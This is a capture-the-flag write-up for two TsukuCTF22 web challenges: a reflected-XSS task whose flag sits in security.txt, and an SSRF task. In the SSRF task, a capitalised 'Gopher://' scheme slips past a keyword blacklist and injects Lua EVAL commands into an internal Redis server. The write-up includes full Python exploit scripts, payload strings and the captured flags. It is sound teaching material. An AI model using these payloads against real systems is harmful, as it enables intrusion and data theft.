● Bug Hunter
I can get a hint in main page. It gives a word "Reflected XSS". So I tried some test payload using "tsukushi" parameter.
I can trigger XSS. But where is the flag? I can't guess anything, so checked description.
They gave me "guess" and "RFC". I searched about RFC and find hint like this.
I entered into "/.well-kown/security.txt".
Got it. Technically, it's not xss problem I expected. :-(
Flag
TsukuCTF22{y0u_c4n_c47ch_bu65_4ll_y34r_r0und_1n_7h3_1n73rn37}
● Viewer
\---viewer
| docker-compose.yml
| file.txt
|
+---app
| | app.py
| | Dockerfile
| | requirements.txt
| | uwsgi.ini
| |
| \---templates
| index.html
| register.html
|
+---nginx
| Dockerfile
| nginx.conf
Structure of problem's directory is like this.
# app.py
# initialization
redis = redis.Redis(host='redis', port=6379, db=0)
# the flag is replaced a real flag in a production environment.
flag = "TsukuCTF22{dummy flag}"
id = str(uuid.uuid4())
redis.set(id, json.dumps({"id": id, "name": flag})) # Flag is here!!
Flag is located in redis DB.
# app.py
try:
c = pycurl.Curl()
c.setopt(c.URL, url)
c.setopt(c.WRITEDATA, buf)
c.perform()
c.close()
body = buf.getvalue().decode('utf-8')
except Exception as e:
traceback.print_exc()
abort("error occurs")
The serivce uses pycurl.
# app.py
blacklist_of_scheme = ['dict', 'file', 'ftp', 'gopher', 'imap', 'ldap',
'mqtt', 'pop3', 'rtmp', 'rtsp', 'scp', 'smb', 'smtp', 'telnet']
# blacklist의 scheme이 존재하면 안됨
def url_sanitizer(uri: str) -> str:
if len(uri) == 0 or any([scheme in uri for scheme in blacklist_of_scheme]):
return "https://fans.sechack365.com"
return uri
# a response is also sanitized just in case because the flag is super sensitive information.
blacklist_in_response = ['TsukuCTF22']
# Flag를 직접 출력해 볼 수 없음
def response_sanitizer(body: str) -> str:
if any([scheme in body for scheme in blacklist_in_response]):
return "SANITIZED: a sensitive data is included!"
return body
This service check scheme and it will blocked when blacklist word is in user's input. And it also blocked response not to show Flag.
This problem seems to get a flag by using SSRF attack. The key point in this problem is bypassing request & response filtering and get a flag.
[ Point 1 ]
blacklist_of_scheme = ['dict', 'file', 'ftp', 'gopher', 'imap', 'ldap',
'mqtt', 'pop3', 'rtmp', 'rtsp', 'scp', 'smb', 'smtp', 'telnet']
It seems all schemes is filtered that attacker can use in SSRF attack.
def url_sanitizer(uri: str) -> str:
if len(uri) == 0 or any([scheme in uri for scheme in blacklist_of_scheme]):
return "https://fans.sechack365.com"
return uri
But it exists only "word filtering". I can bypass it, using capital letter. (e.g gopher -> Gopher).
To check if I can manipulate data in DB, I tested in local.
import uuid
import requests
HOST = '127.0.0.1:8001'
i = str(uuid.uuid4())
s = requests.Session()
s.post(f'http://{HOST}/register', data={
'name': 'Test_id'
})
s.post(f'http://{HOST}/', data={
'url': f'''Gopher://redis:6379/_EVAL "return redis.call('set','{i}','{{"name":"Test_id"}}')" 0%0d%0aQUIT%0d%0a'''
})
r = requests.get(f'http://{HOST}/', cookies={
'__SESSION_ID': i
})
print(r.text)
$ python3 test.py | grep Hello
<h1>Hello, Tested_id</h1>
[ Point 2 ]
Even if I can use redis DB command, I can't get flag because of a filter, "TsukuCTF2022".
blacklist_in_response = ['TsukuCTF22']
# Flag를 직접 출력해 볼 수 없음
def response_sanitizer(body: str) -> str:
if any([scheme in body for scheme in blacklist_in_response]):
return "SANITIZED: a sensitive data is included!"
return body
...
@app.route("/", methods=["GET", "POST"])
def route_index():
session_id = request.cookies.get('__SESSION_ID')
name = None
if session_id is not None:
res = redis.get(session_id)
if res is not None:
user = json.loads(res)
print(f"user: {user}")
name = user["name"]
if name is not None and "TsukuCTF22{" in name:
name = "tsukushi"
else:
return redirect('/register')
When the service print word which has "TsukuCTF22{", service replace it into "tsukushi". So I have to manipulate return value to get whole, real flag. I used "Lua script" to trigger "gopher SSRF".
Example payload for gopher ssrf with lua script goes like this.
gopher://[HOST]:[PORT]/_EVAL "[USER INPUT]"
My goal is to prevent the service from printing the word "TsukuCTF22{". Let's use lua script. ( I brought other's clear script ).
local k = redis.call('keys','*')
local v
for i, m in ipairs(k) do
v = redis.call('get', m)
if string.find(v, 'Tsuku') then
return redis.call('set', '{i}', '{"name":"' .. v:gsub('"', ''):gsub('Tsuku', 'tsuku') .. '"}')
end
end
// gsub == replace, local == var
Then, I input this script in gopher ssrf payload.
Exploit Code
import uuid
import requests
import re
HOST = 'https://tsukuctf.sechack365.com/viewer'
i = str(uuid.uuid4())
s = requests.Session()
s.post(f'{HOST}/register', data={
'name': 'Tested_id'
})
s.post(f'{HOST}', data={
'url': f'''Gopher://redis:6379/_EVAL "local k = redis.call('keys','*'); local v; for i, m in ipairs(k) do v = redis.call('get', m); if string.find(v, 'Tsuku') then return redis.call('set','{i}','{{\\"name\\":\\"' .. v:gsub('\\"',''):gsub('Tsuku','tsuku') .. '\\"}}'); end end;" 0%0d%0aQUIT%0d%0a'''
})
r = requests.get(f'{HOST}', cookies={
'__SESSION_ID': i
})
print(re.findall(r'Hello, (.+)<', r.text)[0].replace('tsuku', 'Tsuku'))
Flag
TsukuCTF22{ur1_scheme_1s_u5efu1}
Reference :